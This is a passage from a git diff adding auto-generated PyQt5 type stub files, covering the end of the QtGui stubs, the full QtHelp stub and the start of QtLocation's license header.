aDirection: QtCore.Qt.LayoutDirection) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + + +class QTextTableCell(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, o: 'QTextTableCell') -> None: ... + + def tableCellFormatIndex(self) -> int: ... + def lastCursorPosition(self) -> QTextCursor: ... + def firstCursorPosition(self) -> QTextCursor: ... + def isValid(self) -> bool: ... + def columnSpan(self) -> int: ... + def rowSpan(self) -> int: ... + def column(self) -> int: ... + def row(self) -> int: ... + def setFormat(self, format: QTextCharFormat) -> None: ... + def format(self) -> QTextCharFormat: ... + + +class QTextTable(QTextFrame): + + def __init__(self, doc: QTextDocument) -> None: ... + + def appendColumns(self, count: int) -> None: ... + def appendRows(self, count: int) -> None: ... + def setFormat(self, aformat: QTextTableFormat) -> None: ... + def format(self) -> QTextTableFormat: ... + def rowEnd(self, c: QTextCursor) -> QTextCursor: ... + def rowStart(self, c: QTextCursor) -> QTextCursor: ... + @typing.overload + def cellAt(self, row: int, col: int) -> QTextTableCell: ... + @typing.overload + def cellAt(self, position: int) -> QTextTableCell: ... + @typing.overload + def cellAt(self, c: QTextCursor) -> QTextTableCell: ... + def columns(self) -> int: ... + def rows(self) -> int: ... + def splitCell(self, row: int, col: int, numRows: int, numCols: int) -> None: ... + @typing.overload + def mergeCells(self, row: int, col: int, numRows: int, numCols: int) -> None: ... + @typing.overload + def mergeCells(self, cursor: QTextCursor) -> None: ... + def removeColumns(self, pos: int, num: int) -> None: ... + def removeRows(self, pos: int, num: int) -> None: ... + def insertColumns(self, pos: int, num: int) -> None: ... + def insertRows(self, pos: int, num: int) -> None: ... + def resize(self, rows: int, cols: int) -> None: ... + + +class QTouchDevice(sip.simplewrapper): + + class CapabilityFlag(int): + Position = ... # type: QTouchDevice.CapabilityFlag + Area = ... # type: QTouchDevice.CapabilityFlag + Pressure = ... # type: QTouchDevice.CapabilityFlag + Velocity = ... # type: QTouchDevice.CapabilityFlag + RawPositions = ... # type: QTouchDevice.CapabilityFlag + NormalizedPosition = ... # type: QTouchDevice.CapabilityFlag + MouseEmulation = ... # type: QTouchDevice.CapabilityFlag + + class DeviceType(int): + TouchScreen = ... # type: QTouchDevice.DeviceType + TouchPad = ... # type: QTouchDevice.DeviceType + + class Capabilities(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTouchDevice.Capabilities', 'QTouchDevice.CapabilityFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTouchDevice.Capabilities') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTouchDevice.Capabilities': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTouchDevice') -> None: ... + + def setMaximumTouchPoints(self, max: int) -> None: ... + def maximumTouchPoints(self) -> int: ... + def setCapabilities(self, caps: typing.Union['QTouchDevice.Capabilities', 'QTouchDevice.CapabilityFlag']) -> None: ... + def setType(self, devType: 'QTouchDevice.DeviceType') -> None: ... + def setName(self, name: str) -> None: ... + def capabilities(self) -> 'QTouchDevice.Capabilities': ... + def type(self) -> 'QTouchDevice.DeviceType': ... + def name(self) -> str: ... + @staticmethod + def devices() -> typing.List['QTouchDevice']: ... + + +class QTransform(sip.simplewrapper): + + class TransformationType(int): + TxNone = ... # type: QTransform.TransformationType + TxTranslate = ... # type: QTransform.TransformationType + TxScale = ... # type: QTransform.TransformationType + TxRotate = ... # type: QTransform.TransformationType + TxShear = ... # type: QTransform.TransformationType + TxProject = ... # type: QTransform.TransformationType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, m11: float, m12: float, m13: float, m21: float, m22: float, m23: float, m31: float, m32: float, m33: float = ...) -> None: ... + @typing.overload + def __init__(self, h11: float, h12: float, h13: float, h21: float, h22: float, h23: float) -> None: ... + @typing.overload + def __init__(self, other: 'QTransform') -> None: ... + + def __hash__(self) -> int: ... + @staticmethod + def fromScale(dx: float, dy: float) -> 'QTransform': ... + @staticmethod + def fromTranslate(dx: float, dy: float) -> 'QTransform': ... + def dy(self) -> float: ... + def dx(self) -> float: ... + def m33(self) -> float: ... + def m32(self) -> float: ... + def m31(self) -> float: ... + def m23(self) -> float: ... + def m22(self) -> float: ... + def m21(self) -> float: ... + def m13(self) -> float: ... + def m12(self) -> float: ... + def m11(self) -> float: ... + def determinant(self) -> float: ... + def isTranslating(self) -> bool: ... + def isRotating(self) -> bool: ... + def isScaling(self) -> bool: ... + def isInvertible(self) -> bool: ... + def isIdentity(self) -> bool: ... + def isAffine(self) -> bool: ... + @typing.overload + def mapRect(self, a0: QtCore.QRect) -> QtCore.QRect: ... + @typing.overload + def mapRect(self, a0: QtCore.QRectF) -> QtCore.QRectF: ... + def mapToPolygon(self, r: QtCore.QRect) -> QPolygon: ... + @typing.overload + def map(self, x: int, y: int) -> typing.Tuple[int, int]: ... + @typing.overload + def map(self, x: float, y: float) -> typing.Tuple[float, float]: ... + @typing.overload + def map(self, p: QtCore.QPoint) -> QtCore.QPoint: ... + @typing.overload + def map(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + @typing.overload + def map(self, l: QtCore.QLine) -> QtCore.QLine: ... + @typing.overload + def map(self, l: QtCore.QLineF) -> QtCore.QLineF: ... + @typing.overload + def map(self, a: QPolygonF) -> QPolygonF: ... + @typing.overload + def map(self, a: QPolygon) -> QPolygon: ... + @typing.overload + def map(self, r: QRegion) -> QRegion: ... + @typing.overload + def map(self, p: QPainterPath) -> QPainterPath: ... + def reset(self) -> None: ... + @staticmethod + def quadToQuad(one: QPolygonF, two: QPolygonF, result: 'QTransform') -> bool: ... + @staticmethod + def quadToSquare(quad: QPolygonF, result: 'QTransform') -> bool: ... + @staticmethod + def squareToQuad(square: QPolygonF, result: 'QTransform') -> bool: ... + def rotateRadians(self, angle: float, axis: QtCore.Qt.Axis = ...) -> 'QTransform': ... + def rotate(self, angle: float, axis: QtCore.Qt.Axis = ...) -> 'QTransform': ... + def shear(self, sh: float, sv: float) -> 'QTransform': ... + def scale(self, sx: float, sy: float) -> 'QTransform': ... + def translate(self, dx: float, dy: float) -> 'QTransform': ... + def transposed(self) -> 'QTransform': ... + def adjoint(self) -> 'QTransform': ... + def inverted(self) -> typing.Tuple['QTransform', bool]: ... + def setMatrix(self, m11: float, m12: float, m13: float, m21: float, m22: float, m23: float, m31: float, m32: float, m33: float) -> None: ... + def type(self) -> 'QTransform.TransformationType': ... + + +class QValidator(QtCore.QObject): + + class State(int): + Invalid = ... # type: QValidator.State + Intermediate = ... # type: QValidator.State + Acceptable = ... # type: QValidator.State + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def changed(self) -> None: ... + def locale(self) -> QtCore.QLocale: ... + def setLocale(self, locale: QtCore.QLocale) -> None: ... + def fixup(self, a0: str) -> str: ... + def validate(self, a0: str, a1: int) -> typing.Tuple['QValidator.State', str, int]: ... + + +class QIntValidator(QValidator): + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, bottom: int, top: int, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def top(self) -> int: ... + def bottom(self) -> int: ... + def setRange(self, bottom: int, top: int) -> None: ... + def setTop(self, a0: int) -> None: ... + def setBottom(self, a0: int) -> None: ... + def fixup(self, input: str) -> str: ... + def validate(self, a0: str, a1: int) -> typing.Tuple[QValidator.State, str, int]: ... + + +class QDoubleValidator(QValidator): + + class Notation(int): + StandardNotation = ... # type: QDoubleValidator.Notation + ScientificNotation = ... # type: QDoubleValidator.Notation + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, bottom: float, top: float, decimals: int, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def notation(self) -> 'QDoubleValidator.Notation': ... + def setNotation(self, a0: 'QDoubleValidator.Notation') -> None: ... + def decimals(self) -> int: ... + def top(self) -> float: ... + def bottom(self) -> float: ... + def setDecimals(self, a0: int) -> None: ... + def setTop(self, a0: float) -> None: ... + def setBottom(self, a0: float) -> None: ... + def setRange(self, minimum: float, maximum: float, decimals: int = ...) -> None: ... + def validate(self, a0: str, a1: int) -> typing.Tuple[QValidator.State, str, int]: ... + + +class QRegExpValidator(QValidator): + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, rx: QtCore.QRegExp, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def regExp(self) -> QtCore.QRegExp: ... + def setRegExp(self, rx: QtCore.QRegExp) -> None: ... + def validate(self, input: str, pos: int) -> typing.Tuple[QValidator.State, str, int]: ... + + +class QRegularExpressionValidator(QValidator): + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, re: QtCore.QRegularExpression, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setRegularExpression(self, re: QtCore.QRegularExpression) -> None: ... + def regularExpression(self) -> QtCore.QRegularExpression: ... + def validate(self, input: str, pos: int) -> typing.Tuple[QValidator.State, str, int]: ... + + +class QVector2D(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, xpos: float, ypos: float) -> None: ... + @typing.overload + def __init__(self, point: QtCore.QPoint) -> None: ... + @typing.overload + def __init__(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def __init__(self, vector: 'QVector3D') -> None: ... + @typing.overload + def __init__(self, vector: 'QVector4D') -> None: ... + @typing.overload + def __init__(self, a0: 'QVector2D') -> None: ... + + def __neg__(self) -> 'QVector2D': ... + def __getitem__(self, i: int) -> float: ... + def distanceToLine(self, point: 'QVector2D', direction: 'QVector2D') -> float: ... + def distanceToPoint(self, point: 'QVector2D') -> float: ... + def toPointF(self) -> QtCore.QPointF: ... + def toPoint(self) -> QtCore.QPoint: ... + def setY(self, aY: float) -> None: ... + def setX(self, aX: float) -> None: ... + def y(self) -> float: ... + def x(self) -> float: ... + def isNull(self) -> bool: ... + def toVector4D(self) -> 'QVector4D': ... + def toVector3D(self) -> 'QVector3D': ... + @staticmethod + def dotProduct(v1: 'QVector2D', v2: 'QVector2D') -> float: ... + def normalize(self) -> None: ... + def normalized(self) -> 'QVector2D': ... + def lengthSquared(self) -> float: ... + def length(self) -> float: ... + def __repr__(self) -> str: ... + + +class QVector3D(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, xpos: float, ypos: float, zpos: float) -> None: ... + @typing.overload + def __init__(self, point: QtCore.QPoint) -> None: ... + @typing.overload + def __init__(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def __init__(self, vector: QVector2D) -> None: ... + @typing.overload + def __init__(self, vector: QVector2D, zpos: float) -> None: ... + @typing.overload + def __init__(self, vector: 'QVector4D') -> None: ... + @typing.overload + def __init__(self, a0: 'QVector3D') -> None: ... + + def __neg__(self) -> 'QVector3D': ... + def unproject(self, modelView: QMatrix4x4, projection: QMatrix4x4, viewport: QtCore.QRect) -> 'QVector3D': ... + def project(self, modelView: QMatrix4x4, projection: QMatrix4x4, viewport: QtCore.QRect) -> 'QVector3D': ... + def __getitem__(self, i: int) -> float: ... + def distanceToPoint(self, point: 'QVector3D') -> float: ... + def toPointF(self) -> QtCore.QPointF: ... + def toPoint(self) -> QtCore.QPoint: ... + def setZ(self, aZ: float) -> None: ... + def setY(self, aY: float) -> None: ... + def setX(self, aX: float) -> None: ... + def z(self) -> float: ... + def y(self) -> float: ... + def x(self) -> float: ... + def isNull(self) -> bool: ... + def toVector4D(self) -> 'QVector4D': ... + def toVector2D(self) -> QVector2D: ... + def distanceToLine(self, point: 'QVector3D', direction: 'QVector3D') -> float: ... + @typing.overload + def distanceToPlane(self, plane: 'QVector3D', normal: 'QVector3D') -> float: ... + @typing.overload + def distanceToPlane(self, plane1: 'QVector3D', plane2: 'QVector3D', plane3: 'QVector3D') -> float: ... + @typing.overload + @staticmethod + def normal(v1: 'QVector3D', v2: 'QVector3D') -> 'QVector3D': ... + @typing.overload + @staticmethod + def normal(v1: 'QVector3D', v2: 'QVector3D', v3: 'QVector3D') -> 'QVector3D': ... + @staticmethod + def crossProduct(v1: 'QVector3D', v2: 'QVector3D') -> 'QVector3D': ... + @staticmethod + def dotProduct(v1: 'QVector3D', v2: 'QVector3D') -> float: ... + def normalize(self) -> None: ... + def normalized(self) -> 'QVector3D': ... + def lengthSquared(self) -> float: ... + def length(self) -> float: ... + def __repr__(self) -> str: ... + + +class QVector4D(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, xpos: float, ypos: float, zpos: float, wpos: float) -> None: ... + @typing.overload + def __init__(self, point: QtCore.QPoint) -> None: ... + @typing.overload + def __init__(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def __init__(self, vector: QVector2D) -> None: ... + @typing.overload + def __init__(self, vector: QVector2D, zpos: float, wpos: float) -> None: ... + @typing.overload + def __init__(self, vector: QVector3D) -> None: ... + @typing.overload + def __init__(self, vector: QVector3D, wpos: float) -> None: ... + @typing.overload + def __init__(self, a0: 'QVector4D') -> None: ... + + def __neg__(self) -> 'QVector4D': ... + def __getitem__(self, i: int) -> float: ... + def toPointF(self) -> QtCore.QPointF: ... + def toPoint(self) -> QtCore.QPoint: ... + def setW(self, aW: float) -> None: ... + def setZ(self, aZ: float) -> None: ... + def setY(self, aY: float) -> None: ... + def setX(self, aX: float) -> None: ... + def w(self) -> float: ... + def z(self) -> float: ... + def y(self) -> float: ... + def x(self) -> float: ... + def isNull(self) -> bool: ... + def toVector3DAffine(self) -> QVector3D: ... + def toVector3D(self) -> QVector3D: ... + def toVector2DAffine(self) -> QVector2D: ... + def toVector2D(self) -> QVector2D: ... + @staticmethod + def dotProduct(v1: 'QVector4D', v2: 'QVector4D') -> float: ... + def normalize(self) -> None: ... + def normalized(self) -> 'QVector4D': ... + def lengthSquared(self) -> float: ... + def length(self) -> float: ... + def __repr__(self) -> str: ... + + +def qIsGray(rgb: int) -> bool: ... +@typing.overload +def qGray(r: int, g: int, b: int) -> int: ... +@typing.overload +def qGray(rgb: int) -> int: ... +def qRgba(r: int, g: int, b: int, a: int) -> int: ... +def qRgb(r: int, g: int, b: int) -> int: ... +@typing.overload +def qAlpha(rgb: QRgba64) -> int: ... +@typing.overload +def qAlpha(rgb: int) -> int: ... +@typing.overload +def qBlue(rgb: QRgba64) -> int: ... +@typing.overload +def qBlue(rgb: int) -> int: ... +@typing.overload +def qGreen(rgb: QRgba64) -> int: ... +@typing.overload +def qGreen(rgb: int) -> int: ... +@typing.overload +def qRed(rgb: QRgba64) -> int: ... +@typing.overload +def qRed(rgb: int) -> int: ... +@typing.overload +def qUnpremultiply(c: QRgba64) -> QRgba64: ... +@typing.overload +def qUnpremultiply(p: int) -> int: ... +@typing.overload +def qPremultiply(c: QRgba64) -> QRgba64: ... +@typing.overload +def qPremultiply(x: int) -> int: ... +@typing.overload +def qRgba64(r: int, g: int, b: int, a: int) -> QRgba64: ... +@typing.overload +def qRgba64(c: int) -> QRgba64: ... +def qPixelFormatAlpha(channelSize: int, typeInterpretation: QPixelFormat.TypeInterpretation = ...) -> QPixelFormat: ... +def qPixelFormatYuv(layout: QPixelFormat.YUVLayout, alphaSize: int = ..., alphaUsage: QPixelFormat.AlphaUsage = ..., alphaPosition: QPixelFormat.AlphaPosition = ..., premultiplied: QPixelFormat.AlphaPremultiplied = ..., typeInterpretation: QPixelFormat.TypeInterpretation = ..., byteOrder: QPixelFormat.ByteOrder = ...) -> QPixelFormat: ... +def qPixelFormatHsv(channelSize: int, alphaSize: int = ..., alphaUsage: QPixelFormat.AlphaUsage = ..., alphaPosition: QPixelFormat.AlphaPosition = ..., typeInterpretation: QPixelFormat.TypeInterpretation = ...) -> QPixelFormat: ... +def qPixelFormatHsl(channelSize: int, alphaSize: int = ..., alphaUsage: QPixelFormat.AlphaUsage = ..., alphaPosition: QPixelFormat.AlphaPosition = ..., typeInterpretation: QPixelFormat.TypeInterpretation = ...) -> QPixelFormat: ... +def qPixelFormatCmyk(channelSize: int, alphaSize: int = ..., alphaUsage: QPixelFormat.AlphaUsage = ..., alphaPosition: QPixelFormat.AlphaPosition = ..., typeInterpretation: QPixelFormat.TypeInterpretation = ...) -> QPixelFormat: ... +def qPixelFormatGrayscale(channelSize: int, typeInterpretation: QPixelFormat.TypeInterpretation = ...) -> QPixelFormat: ... +def qPixelFormatRgba(red: int, green: int, blue: int, alfa: int, usage: QPixelFormat.AlphaUsage, position: QPixelFormat.AlphaPosition, premultiplied: QPixelFormat.AlphaPremultiplied = ..., typeInterpretation: QPixelFormat.TypeInterpretation = ...) -> QPixelFormat: ... +@typing.overload +def qFuzzyCompare(m1: QMatrix4x4, m2: QMatrix4x4) -> bool: ... +@typing.overload +def qFuzzyCompare(q1: QQuaternion, q2: QQuaternion) -> bool: ... +@typing.overload +def qFuzzyCompare(t1: QTransform, t2: QTransform) -> bool: ... +@typing.overload +def qFuzzyCompare(v1: QVector2D, v2: QVector2D) -> bool: ... +@typing.overload +def qFuzzyCompare(v1: QVector3D, v2: QVector3D) -> bool: ... +@typing.overload +def qFuzzyCompare(v1: QVector4D, v2: QVector4D) -> bool: ... +def qt_set_sequence_auto_mnemonic(b: bool) -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtHelp.pyi b/OTHERS/Jarvis/ools/PyQt5/QtHelp.pyi new file mode 100644 index 00000000..fea1f383 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtHelp.pyi @@ -0,0 +1,312 @@ +# The PEP 484 type hints stub file for the QtHelp module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets +from PyQt5 import QtGui +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QCompressedHelpInfo(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QCompressedHelpInfo') -> None: ... + + def isNull(self) -> bool: ... + @staticmethod + def fromCompressedHelpFile(documentationFileName: str) -> 'QCompressedHelpInfo': ... + def version(self) -> QtCore.QVersionNumber: ... + def component(self) -> str: ... + def namespaceName(self) -> str: ... + def swap(self, other: 'QCompressedHelpInfo') -> None: ... + + +class QHelpContentItem(sip.simplewrapper): + + def childPosition(self, child: 'QHelpContentItem') -> int: ... + def parent(self) -> 'QHelpContentItem': ... + def row(self) -> int: ... + def url(self) -> QtCore.QUrl: ... + def title(self) -> str: ... + def childCount(self) -> int: ... + def child(self, row: int) -> 'QHelpContentItem': ... + + +class QHelpContentModel(QtCore.QAbstractItemModel): + + def contentsCreated(self) -> None: ... + def contentsCreationStarted(self) -> None: ... + def isCreatingContents(self) -> bool: ... + def columnCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + def rowCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + def parent(self, index: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + def index(self, row: int, column: int, parent: QtCore.QModelIndex = ...) -> QtCore.QModelIndex: ... + def data(self, index: QtCore.QModelIndex, role: int) -> typing.Any: ... + def contentItemAt(self, index: QtCore.QModelIndex) -> QHelpContentItem: ... + def createContents(self, customFilterName: str) -> None: ... + + +class QHelpContentWidget(QtWidgets.QTreeView): + + def linkActivated(self, link: QtCore.QUrl) -> None: ... + def indexOf(self, link: QtCore.QUrl) -> QtCore.QModelIndex: ... + + +class QHelpEngineCore(QtCore.QObject): + + def __init__(self, collectionFile: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + @typing.overload + def documentsForKeyword(self, keyword: str) -> typing.List['QHelpLink']: ... + @typing.overload + def documentsForKeyword(self, keyword: str, filterName: str) -> typing.List['QHelpLink']: ... + @typing.overload + def documentsForIdentifier(self, id: str) -> typing.List['QHelpLink']: ... + @typing.overload + def documentsForIdentifier(self, id: str, filterName: str) -> typing.List['QHelpLink']: ... + def usesFilterEngine(self) -> bool: ... + def setUsesFilterEngine(self, uses: bool) -> None: ... + def filterEngine(self) -> 'QHelpFilterEngine': ... + def readersAboutToBeInvalidated(self) -> None: ... + def warning(self, msg: str) -> None: ... + def currentFilterChanged(self, newFilter: str) -> None: ... + def setupFinished(self) -> None: ... + def setupStarted(self) -> None: ... + def setAutoSaveFilter(self, save: bool) -> None: ... + def autoSaveFilter(self) -> bool: ... + def error(self) -> str: ... + @staticmethod + def metaData(documentationFileName: str, name: str) -> typing.Any: ... + def setCustomValue(self, key: str, value: typing.Any) -> bool: ... + def customValue(self, key: str, defaultValue: typing.Any = ...) -> typing.Any: ... + def removeCustomValue(self, key: str) -> bool: ... + def linksForKeyword(self, keyword: str) -> typing.Dict[str, QtCore.QUrl]: ... + def linksForIdentifier(self, id: str) -> typing.Dict[str, QtCore.QUrl]: ... + def fileData(self, url: QtCore.QUrl) -> QtCore.QByteArray: ... + def findFile(self, url: QtCore.QUrl) -> QtCore.QUrl: ... + @typing.overload + def files(self, namespaceName: str, filterAttributes: typing.Iterable[str], extensionFilter: str = ...) -> typing.List[QtCore.QUrl]: ... + @typing.overload + def files(self, namespaceName: str, filterName: str, extensionFilter: str = ...) -> typing.List[QtCore.QUrl]: ... + def filterAttributeSets(self, namespaceName: str) -> typing.List[typing.List[str]]: ... + def registeredDocumentations(self) -> typing.List[str]: ... + def setCurrentFilter(self, filterName: str) -> None: ... + def currentFilter(self) -> str: ... + @typing.overload + def filterAttributes(self) -> typing.List[str]: ... + @typing.overload + def filterAttributes(self, filterName: str) -> typing.List[str]: ... + def addCustomFilter(self, filterName: str, attributes: typing.Iterable[str]) -> bool: ... + def removeCustomFilter(self, filterName: str) -> bool: ... + def customFilters(self) -> typing.List[str]: ... + def documentationFileName(self, namespaceName: str) -> str: ... + def unregisterDocumentation(self, namespaceName: str) -> bool: ... + def registerDocumentation(self, documentationFileName: str) -> bool: ... + @staticmethod + def namespaceName(documentationFileName: str) -> str: ... + def copyCollectionFile(self, fileName: str) -> bool: ... + def setCollectionFile(self, fileName: str) -> None: ... + def collectionFile(self) -> str: ... + def setupData(self) -> bool: ... + + +class QHelpEngine(QHelpEngineCore): + + def __init__(self, collectionFile: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def searchEngine(self) -> 'QHelpSearchEngine': ... + def indexWidget(self) -> 'QHelpIndexWidget': ... + def contentWidget(self) -> QHelpContentWidget: ... + def indexModel(self) -> 'QHelpIndexModel': ... + def contentModel(self) -> QHelpContentModel: ... + + +class QHelpFilterData(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QHelpFilterData') -> None: ... + + def versions(self) -> typing.List[QtCore.QVersionNumber]: ... + def components(self) -> typing.List[str]: ... + def setVersions(self, versions: typing.Iterable[QtCore.QVersionNumber]) -> None: ... + def setComponents(self, components: typing.Iterable[str]) -> None: ... + def swap(self, other: 'QHelpFilterData') -> None: ... + + +class QHelpFilterEngine(QtCore.QObject): + + @typing.overload + def indices(self) -> typing.List[str]: ... + @typing.overload + def indices(self, filterName: str) -> typing.List[str]: ... + def availableVersions(self) -> typing.List[QtCore.QVersionNumber]: ... + def filterActivated(self, newFilter: str) -> None: ... + def namespacesForFilter(self, filterName: str) -> typing.List[str]: ... + def removeFilter(self, filterName: str) -> bool: ... + def setFilterData(self, filterName: str, filterData: QHelpFilterData) -> bool: ... + def filterData(self, filterName: str) -> QHelpFilterData: ... + def availableComponents(self) -> typing.List[str]: ... + def setActiveFilter(self, filterName: str) -> bool: ... + def activeFilter(self) -> str: ... + def filters(self) -> typing.List[str]: ... + def namespaceToVersion(self) -> typing.Dict[str, QtCore.QVersionNumber]: ... + def namespaceToComponent(self) -> typing.Dict[str, str]: ... + + +class QHelpFilterSettingsWidget(QtWidgets.QWidget): + + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + + def applySettings(self, filterEngine: QHelpFilterEngine) -> bool: ... + def readSettings(self, filterEngine: QHelpFilterEngine) -> None: ... + def setAvailableVersions(self, versions: typing.Iterable[QtCore.QVersionNumber]) -> None: ... + def setAvailableComponents(self, components: typing.Iterable[str]) -> None: ... + + +class QHelpIndexModel(QtCore.QStringListModel): + + def indexCreated(self) -> None: ... + def indexCreationStarted(self) -> None: ... + def isCreatingIndex(self) -> bool: ... + def linksForKeyword(self, keyword: str) -> typing.Dict[str, QtCore.QUrl]: ... + def filter(self, filter: str, wildcard: str = ...) -> QtCore.QModelIndex: ... + def createIndex(self, customFilterName: str) -> None: ... + def helpEngine(self) -> QHelpEngineCore: ... + + +class QHelpIndexWidget(QtWidgets.QListView): + + def documentsActivated(self, documents: typing.Iterable['QHelpLink'], keyword: str) -> None: ... + def documentActivated(self, document: 'QHelpLink', keyword: str) -> None: ... + def activateCurrentItem(self) -> None: ... + def filterIndices(self, filter: str, wildcard: str = ...) -> None: ... + def linksActivated(self, links: typing.Dict[str, QtCore.QUrl], keyword: str) -> None: ... + def linkActivated(self, link: QtCore.QUrl, keyword: str) -> None: ... + + +class QHelpLink(sip.simplewrapper): + + title = ... # type: str + url = ... # type: QtCore.QUrl + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QHelpLink') -> None: ... + + +class QHelpSearchQuery(sip.simplewrapper): + + class FieldName(int): + DEFAULT = ... # type: QHelpSearchQuery.FieldName + FUZZY = ... # type: QHelpSearchQuery.FieldName + WITHOUT = ... # type: QHelpSearchQuery.FieldName + PHRASE = ... # type: QHelpSearchQuery.FieldName + ALL = ... # type: QHelpSearchQuery.FieldName + ATLEAST = ... # type: QHelpSearchQuery.FieldName + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, field: 'QHelpSearchQuery.FieldName', wordList: typing.Iterable[str]) -> None: ... + @typing.overload + def __init__(self, a0: 'QHelpSearchQuery') -> None: ... + + +class QHelpSearchEngine(QtCore.QObject): + + def __init__(self, helpEngine: QHelpEngineCore, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def searchInput(self) -> str: ... + def searchResults(self, start: int, end: int) -> typing.List['QHelpSearchResult']: ... + def searchResultCount(self) -> int: ... + def searchingFinished(self, hits: int) -> None: ... + def searchingStarted(self) -> None: ... + def indexingFinished(self) -> None: ... + def indexingStarted(self) -> None: ... + def cancelSearching(self) -> None: ... + @typing.overload + def search(self, queryList: typing.Iterable[QHelpSearchQuery]) -> None: ... + @typing.overload + def search(self, searchInput: str) -> None: ... + def cancelIndexing(self) -> None: ... + def reindexDocumentation(self) -> None: ... + def hits(self, start: int, end: int) -> typing.List[typing.Tuple[str, str]]: ... + def hitCount(self) -> int: ... + def resultWidget(self) -> 'QHelpSearchResultWidget': ... + def queryWidget(self) -> 'QHelpSearchQueryWidget': ... + def query(self) -> typing.List[QHelpSearchQuery]: ... + + +class QHelpSearchResult(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QHelpSearchResult') -> None: ... + @typing.overload + def __init__(self, url: QtCore.QUrl, title: str, snippet: str) -> None: ... + + def snippet(self) -> str: ... + def url(self) -> QtCore.QUrl: ... + def title(self) -> str: ... + + +class QHelpSearchQueryWidget(QtWidgets.QWidget): + + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + + def setSearchInput(self, searchInput: str) -> None: ... + def searchInput(self) -> str: ... + def setCompactMode(self, on: bool) -> None: ... + def isCompactMode(self) -> bool: ... + def search(self) -> None: ... + def collapseExtendedSearch(self) -> None: ... + def expandExtendedSearch(self) -> None: ... + def setQuery(self, queryList: typing.Iterable[QHelpSearchQuery]) -> None: ... + def query(self) -> typing.List[QHelpSearchQuery]: ... + + +class QHelpSearchResultWidget(QtWidgets.QWidget): + + def requestShowLink(self, url: QtCore.QUrl) -> None: ... + def linkAt(self, point: QtCore.QPoint) -> QtCore.QUrl: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtLocation.pyi b/OTHERS/Jarvis/ools/PyQt5/QtLocation.pyi new file mode 100644 index 00000000..a27f6297 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtLocation.pyi @@ -0,0 +1,1188 @@ +# The PEP 484 type hints stub file for the QtLocation module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 